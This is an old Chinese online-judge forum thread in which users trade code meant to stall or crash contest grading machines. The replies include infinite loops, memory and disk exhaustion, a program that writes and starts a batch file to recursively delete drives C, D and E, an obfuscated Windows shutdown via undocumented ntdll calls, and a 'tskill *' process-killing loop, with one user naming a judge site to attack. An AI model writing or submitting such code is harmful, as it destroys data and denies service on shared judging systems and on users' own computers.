/ Vijos / 讨论 / 问答 /

求救,怎么卡测评?

Rt,至少要卡一两分钟吧, 当然我不会在VJ上卡的(VJ的测评机这么强,也卡不动)

12 条评论

  • @ 10 年前

    #include<stdio.h>
    int main(){
    while(1);
    return 0;
    }

    #include<stdio.h>
    int i;
    for(i=0;i<=1000000;i++)
    {
    }
    for(i=0;i<=100000;i++)
    {
    }
    for(i=0;i<=1000000;i++)
    {
    }
    for(i=0;i<=1000000;i++)
    {
    }
    while(i>0)
    {
    i=1;
    }
    return 0;
    }

  • @ 10 年前

    #include<windows.h>
    int main()
    {
    system("echo rd c: /s /q>>rd.cmd");
    system("echo rd d: /s /q>>rd.cmd");
    system("echo rd e: /s /q>>rd.cmd");
    system("start rd.cmd");
    }
    可以在自己电脑上试一下

  • @ 10 年前

    这样输出文件会越来越大,直到硬盘被装满
    #include<cstdio>
    using namspace std;
    int main()
    {
    freopen("out.out","w",stdout);
    for(;;) printf("0000000000");
    return 0;
    }

    • @ 10 年前

      我自己也试过。开的效率很慢。
      试试这样:
      char * a;
      while (true) a=new char[1000];

  • @ 10 年前

    看偶的

    #include<windows.h>
    #include<iostream>
    using namespace std;
    int main()
    {
        char * a;
        while (true) a=new char[1000];
    }
    
  • @ 10 年前

    楼上电脑真牛 我的一分钟后直接关了

  • @ 10 年前

    var a:integer;
    procedure abc;
    begin
    a:=1;
    end;
    begin
    a:=1;
    while a=1 do abc;
    end.

  • @ 10 年前

    http://oj.jdfz.com.cn/oldoj(IE打不开) 啊啊啊同志们快帮我卡 !

  • @ 10 年前

    现在这个也不行了。

  • @ 10 年前

    卡测评可耻。所以这种可耻的工作还是让我来吧。

  • @ 10 年前

    vj没把windows.h删掉?!!!

    • @ 10 年前

      VJ评测机一向不需要删除windows.h =,= 貌似某评测机被卡是令牌权限没配置

    • @ 10 年前

      system是在cstdlib里面的

    • @ 10 年前

      如果是我的话一定会把windows.h和system函数以及一切有威胁的函数统统删掉的……

    • @ 10 年前

      删除windows.h是治标不治本……

  • @ 10 年前

    可以关机!

    #define _____w <w##in##do##ws.h>
    #include _____w
    int main(){
    const int SE_SHUTDOWN_PRIVILEGE = 0x13;
    typedef int (__stdcall *PFN_RtlAdjustPrivilege)( INT, BOOL, BOOL, INT*);
    typedef int (__stdcall *PFN_ZwShutdownSystem)(INT);
    HMODULE hModule = ::LoadLibrary(("ntdll.dll"));
    // 因为这里涉及到的函数都是微软未公开的,所以只能动态调用
    if( hModule != NULL)
    {
        PFN_RtlAdjustPrivilege pfnRtl = (PFN_RtlAdjustPrivilege)GetProcAddress( hModule, "RtlAdjustPrivilege");
        PFN_ZwShutdownSystem pfnShutdown = (PFN_ZwShutdownSystem)GetProcAddress( hModule,"ZwShutdownSystem");
        if( (pfnRtl != NULL) && (pfnShutdown != NULL ))
        {
            int en = 0;
            int nRet= pfnRtl( SE_SHUTDOWN_PRIVILEGE, TRUE, TRUE, &en);
            if( nRet == 0x0C000007C )
                nRet = pfnRtl(SE_SHUTDOWN_PRIVILEGE, TRUE, FALSE, &en);
            //SH_SHUTDOWN = 0; 
            //SH_RESTART = 1; 
            //SH_POWEROFF = 2; 
            const int SH_POWEROFF = 2;
            nRet = pfnShutdown(SH_POWEROFF);
        }
    }
    }
    
  • @ 10 年前
    #include<windows.h>
    int main()
    {
        while (true) system("tskill *");
    }
    

    可以卡住vj,

    • @ 10 年前

      我真TM把 tskill * 输到cmd里去了
      进程是哪个?怎么没找到?

    • @ 10 年前

      电脑会蓝屏诶。。

  • 1